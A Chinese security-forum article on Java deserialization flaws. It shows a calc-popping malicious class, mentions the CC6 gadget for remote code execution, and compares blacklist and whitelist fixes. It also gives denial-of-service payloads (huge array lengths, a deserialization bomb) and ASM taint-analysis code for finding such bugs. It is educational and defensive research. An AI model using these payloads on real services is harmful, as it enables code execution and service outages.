标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2025-3088] 作者: 州官 发表于: [2022-05-05] [2022-05-05]被用户:州官 修改过
本文共 [289] 位读者顶过
基础篇编写一个恶意的类 public class EvilObj implements Serializable { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException ignored) { } } }
编写一个普通的反序列化漏洞代码,执行后会弹出计算器 public static void main(String[] args)throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(new EvilObj()); ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); }
以上的恶意类其实没有意义,因为目标系统中不会存在这样的恶意类,只有目标程序中存在该类才可以 于是大家开始挖掘gadget以构造恶意类用来执行代码或命令 当我将gadget替换为CC6链后,只要目标系统包含了Commons Collections依赖则可以RCE oos.writeObject(CC6Gadget.get());
黑名单修复假设作为开发者,这时候的修复手法有两种
于是很多项目采用了黑名单的方式进行修复 public class SafeObjectInputStream extends ObjectInputStream { public SafeObjectInputStream(InputStream in) throws IOException { super(in); } @Override protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (desc.getName().contains("org.apache.commons.collections")) { return null; } return super.resolveClass(desc); } }
这时候修改我们的漏洞代码 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(CC6Gadget.get()); ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); SafeObjectInputStream ois = new SafeObjectInputStream(bais); ois.readObject();
运行后报错:说明成功防御了Commons Collections的反序列化漏洞 Exception in thread "main" java.lang.ClassNotFoundException: null class 类似的黑名单参考:Apache OFBIZ commit: https://github.com/apache/ofbiz-framework/commit/af9ed4e/ if (className.contains("java.rmi.server")) { return null; }
白名单修复在安全中,黑名单永远都是不安全的,因为总会有新的姿势和新的绕过,因此我们采用了白名单的方式进行修复
public class SafeObjectInputStream extends ObjectInputStream { public SafeObjectInputStream(InputStream in) throws IOException { super(in); } @Override protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { // 允许一些常用的JDK类 if (desc.getName().startsWith("java.util.") || desc.getName().startsWith("java.lang.") || // 允许一些业务需要的本地类 desc.getName().equals("com.example.MyObject")) { return super.resolveClass(desc); } else { return null; } } }
参考Spring-AMQP曾经防御反序列化漏洞的方式:添加类似的白名单 参考commit: https://github.com/spring-projects/spring-amqp/commit/36e5599/ static { SERIALIZER_MESSAGE_CONVERTER.setWhiteListPatterns(Arrays.asList("java.util.*", "java.lang.*")); }
readObject当我们使用了这样白名单后,确实不存在RCE漏洞 但实际上存在拒绝服务漏洞的可能性 首先从本地白名单对象入手 public class MyObject implements Serializable { private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException { int len = s.readInt(); // array init byte[] data = new byte[len]; // for condition for (int i = 0; i < len; i++) { // ... } // ... } }
假设本地白名单类的readObject方法中包含了类似以上的代码,构造出以下这样的Payload即可DoS ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(new MyObject()); oos.flush(); oos.writeInt(1024*1024*1024); oos.flush();
readExternalSerializable序列化时不会调用默认的构造器而Externalizable序列化时会调用默认构造器 有时我们不希望序列化那么多,可以使用Externalizable接口 其中writeExternal和readExternal方法可以指定序列化哪些属性 假设某个白名单类包含了类似下方的代码,则存在拒绝服务漏洞 public class MyObject implements Externalizable { public int a; // 必须存在空参构造 public MyObject() { } public MyObject(int a) { this.a = a; } @Override public void writeExternal(ObjectOutput out) throws IOException { out.writeInt(a); // ... } @Override public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException { int length = in.readInt(); // array init byte[] data = new byte[length]; // for condition for (int i = 0; i < length; i++) { // ... } // ... } }
构造恶意对象Payload触发 public static void main(String[] args) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(new MyObject(1024 * 1024 * 1024)); ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); SafeObjectInputStream ois = new SafeObjectInputStream(bais); ois.readObject(); }
反序列化炸弹最坏的情况:如果白名单本地对象都是安全的,没有拒绝服务的可能性,还有办法吗 可以使用JDK中的反序列化炸弹实现拒绝服务漏洞 出自Effective Java的原版反序列化炸弹(原代码链接) Set<Object> root = new HashSet<>(); Set<Object> s1 = root; Set<Object> s2 = new HashSet<>(); for(int i=0;i<100;i++){ Set<Object> t1 = new HashSet<>(); Set<Object> t2 = new HashSet<>(); t1.add("foo"); s1.add(t1); s1.add(t2); s2.add(t1); s2.add(t2); s1=t1; s2=t2; }
使用HahsMap和也可以做到类似的效果 // Map & HashMap Map<Object, Object> root = new HashMap<>(); Map<Object, Object> s1 = root; Map<Object, Object> s2 = new HashMap<>(); for (int i = 0; i < 50; i++) { HashMap<Object, Object> t1 = new HashMap<>(); HashMap<Object, Object> t2 = new HashMap<>(); t1.put("foo", "bar"); s1.put(t1, t1); s1.put(t2, t2); s2.put(t1, t1); s2.put(t2, t2); s1 = t1; s2 = t2; }
反序列化炸弹会得到类似的数据结构,是一个100层深的图(Graph)结构
由于本文重点不在于反序列化炸弹,所以原理不再对原理进行分析,有兴趣可以搜索得到一些结果 关于反序列化炸弹的修复:JEP290 提交给Apache OFBIZ后认为这只是潜在的漏洞,不能直接触发,修复后给予致谢但无CVE
[出自:jiwo.org] 漏洞挖掘思路有了以上的内容,对于如何挖掘这样的漏洞,应该有一些思路了
如何扫描扫描主要是如何确认readExternal方法里存在数据初始化 例如扫某logic这样非开源的项目,难免要用到字节码相关的技术 大概的扫描逻辑如下
这里提到的某种规则,在之前一篇文章中有详细说明 将核心部分取出,在这里重新说明一下,方面师傅们结合上下文理解 这两种数组初始化的字节码是不同的 int size = 10; byte[] a = new byte[size]; Object[] o = new Object[size];
对应字节码如下,可以看到分别使用NEWARRAY和ANEWARRAY指令 BIPUSH 10
ISTORE 1
...
ILOAD 1
NEWARRAY T_BYTE
...
ILOAD 1
ANEWARRAY java/lang/Object
在分析时需要注意
在分析进入方法时,首先调用到visitCode方法,在这里手动给参数上污点 @Override public void visitCode() { super.visitCode(); int localIndex = 0; if ((this.access & Opcodes.ACC_STATIC) == 0) { localVariables.set(localIndex, "source"); localIndex += 1; } for (Type argType : Type.getArgumentTypes(desc)) { localVariables.set(localIndex, "source"); localIndex += argType.getSize(); } }
处理污点的传递(如果a是污染那么b=a.func()中的b也将是污染) @Override public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) { Type[] argTypes = Type.getArgumentTypes(desc); if (opcode != Opcodes.INVOKESTATIC) { Type[] extendedArgTypes = new Type[argTypes.length + 1]; System.arraycopy(argTypes, 0, extendedArgTypes, 1, argTypes.length); extendedArgTypes[0] = Type.getObjectType(owner); argTypes = extendedArgTypes; } for (int i = 0; i < argTypes.length; i++) { if (operandStack.get(i).contains("source")) { Type returnType = Type.getReturnType(desc); if (returnType.getSort() != Type.VOID) { super.visitMethodInsn(opcode, owner, name, desc, itf); operandStack.set(0, "source"); return; } } } super.visitMethodInsn(opcode, owner, name, desc, itf); }
上面这一串代码的作用是能够处理这样的情况 @Override public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException { // in参数是污点 // 可以传递到length参数 int length = in.readInt(); // 这里遇到NEWARRAY指令 // 如果length是污点则说明匹配到 byte[] data = new byte[length]; }
最终在NEWARRAY指令的操作数中判断污点(ANEWARRAY指令类似) @Override public void visitIntInsn(int opcode, int operand) { if (opcode == Opcodes.NEWARRAY) { if (operandStack.get(0).contains("source")) { if (this.name.equals("readExternal") || this.name.equals("readObject")) { // 发现漏洞,进行记录 } } } super.visitIntInsn(opcode, operand); }
|